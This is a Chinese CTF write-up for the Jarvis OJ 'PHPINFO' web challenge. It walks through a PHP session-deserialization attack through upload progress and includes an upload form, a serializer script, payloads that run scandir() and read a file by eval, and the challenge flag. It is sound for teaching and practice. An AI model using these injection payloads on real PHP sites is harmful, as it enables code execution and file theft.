一道浙大的题目

题目地址:http://web.jarvisoj.com:32784

拿到这道题目,

是一道反序列化的题目,题目源码很简单,当创建OowoO()这个类的对象时,会自动调用__construct()这个魔术方法,给mdzz这个变量赋值为"phpinfo();",然后程序执行结束后会自动调用__destruct这个魔术方法,触发了eval()

虽然我们现在没有思路,但是我们可以先操作看看,可能就有灵感了呢

先随便给phpinfo这个变量get一个值

http://web.jarvisoj.com:32784/?phpinfo=a

成功执行了phpinfo();

题目中有个这

ini_set('session.serialize_handler', 'php');

考虑到可能是序列化引擎不同导致的session反序列漏洞

我们来看一下session的配置

果然,存储和读取session时用到的处理器引擎不一样

现在有个问题,session是怎么传进去的呢,之前都是有个$_SESSION=$_GET['a'],通过参数a传进去

本题没有$_SESSION进行变量赋值,这种情况我们可以用php文件上传进度来解决

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

也可查看php官方文档:

回到本题,看下session的配置

刚好可以利用

我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候

PHP会将文件名保存在$_SESSION中

所以构造一个提交文件的表单:

1 <form action ="http://web.jarvisoj.com:32784/index.php" method ="POST" enctype="multipart/form-data">
2 <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="1"/>
3 <input type ="file" name ="file"/>
4 <input type ="submit"/>
5 </form>

然后构造一个序列化的数据:

1 <?php
2 ini_set('session.serialize.handler','php');
3 session_start();
4 class OowoO{
5 public $mdzz = 'payload';
6 }
7 $obj = new OowoO();
8 echo serialize($obj);
9 ?>

将payload改为如下代码

print_r(scandir(dirname(__FILE__)));
#scandir目录中的文件和目录
#dirname函数返回路径中的目录部分
#__FILE__ php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
#序列化后的结果
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义,在双引号前加上\,除此之外还要加上|

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

在这个页面随便上传一个文件,然后抓包修改filename的值、

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的

既然知道了路径,就继续构造payload即可

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
#file_get_contents() 函数把整个文件读入一个字符串中。

接下来的就还是序列化然后改一下格式传入即可

附上flag

CTF{4d96e37f4be998c50aa586de4ada354a}

Jarvis OJ--PHPINFO的更多相关文章

  1. Jarvis OJ - [XMAN]level1 - Writeup

    Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...

  2. Jarvis OJ - class10 -Writeup

    Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道 ...

  3. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  4. Jarvis OJ - 软件密码破解-1 -Writeup

    Jarvis OJ - 软件密码破解-1 -Writeup 转载请标明出处http://www.cnblogs.com/WangAoBo/p/7243801.html 记录这道题主要是想记录一下动态调 ...

  5. Jarvis OJ - DD-Hello -Writeup

    Jarvis OJ - DD-Hello -Writeup 转载请注明出处http://www.cnblogs.com/WangAoBo/p/7239216.html 题目: 分析: 第一次做这道题时 ...

  6. Jarvis OJ - 爬楼梯 -Writeup

    Jarvis OJ - 爬楼梯 -Writeup 本来是想逆一下算法的,后来在学长的指导下发现可以直接修改关键函数,这个题做完有种四两拨千斤的感觉,记录在这里 转载请标明出处:http://www.c ...

  7. Jarvis OJ - Baby's Crack - Writeup

    Jarvis OJ - Baby's Crack - Writeup M4x原创,欢迎转载,转载请表明出处 这是我第一次用爆破的方法做reverse,值得记录一下 题目: 文件下载 分析: 下载后解压 ...

  8. Jarvis OJ部分逆向

    Jarvis OJ部分逆向题解 很久没有写博客了,前天上Jarvis OJ刷了几道逆向,保持了一下感觉.都是简单题目,写个writeup记录一下. easycrackme int __cdecl ma ...

  9. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  10. Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试

    这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看 ...

随机推荐

  1. 一道栈溢出babystack

    我太天真了,师傅说让我做做这个平台的题,我就注册了个号,信心满满的打开了change,找到了pwn,一看第一道题是babystack,我想着,嗯,十分钟搞定他!直到我下载了题目,题目给了libc,然后 ...

  2. 2020腾讯犀牛鸟网络安全T-Star高校挑战赛writeup

    签到 浏览器禁用js,在www目录下有 key 命令执行基础 使用 | 可以执行其他命令,在 ../目录下有 key.php cat 一下读出来 你能爆破吗 一开始随便输了个账号的时候不是这个页面,抓 ...

  3. 替DateDif哭诉一把(Excel函数集团)

    Excel中有个工作表函数DateDif,专门用来计算两日期之间的日差.月差.年差,传说十分好用. 具体用法在此就省略了,好奇的童鞋请自行*度~ 可是,在Excel里,他却是个"没户口&qu ...

  4. CF1481B New Colony 题解

    Content \(n\) 座山排成一行,其中第 \(i\) 座山的高度为 \(h_i\). 有 \(k\) 个巨石依次从第一座山开始滚落.当某个巨石在第 \(i\) 座山时: 如果 \(i=n\), ...

  5. LuoguB2101 计算矩阵边缘元素之和 题解

    Content 给定一个 \(m\times n\) 的矩阵,求矩阵边缘元素之和. 数据范围:\(1\leqslant m,n\leqslant 100\). Solution 对于新手来说,看到这题 ...

  6. LuoguP7257 [COCI2009-2010#3] FILIP 题解

    Content 有两个十进制三位数 \(a,b\),请输出这两个数翻转之后的较大数. 数据范围:\(100\leqslant a,b\leqslant 999\),\(a,b\) 中不包含 \(0\) ...

  7. 系统分析师教程(张友生)高清pdf下载

    最近准备考系统分析师,故找了一本张又生编著的<系统分析师教程>的电子书,本来想买本书,可惜有点小贵,舍不得,故寻找电子版下载,花了不少时间才找到,现在分享给大家. http://item. ...

  8. Do PDB Files Affect Performance?

    After a detour into Historical Debugging, it's time to come back to return to answering questions ab ...

  9. 基于MirrorDriver的录屏技术

    计算机屏幕图像的截取在屏幕的录制.计算机远程控制以及多媒体教学软件中都是关键术,基于Windows操作系统有多种截屏方法,研究的重点集中在如何快速有效的截取DBI(Device-Independent ...

  10. DG修复:异常关库导致的数据库启动失败ORA-01110及GAP修复

    问题描述:正在应用的备库是一套11.2.0.4的rac环境,但是被直接crsctl stop cluster集群强制关库,重新启动之后导致数据库启动失败,报错 Errors in file /u01/ ...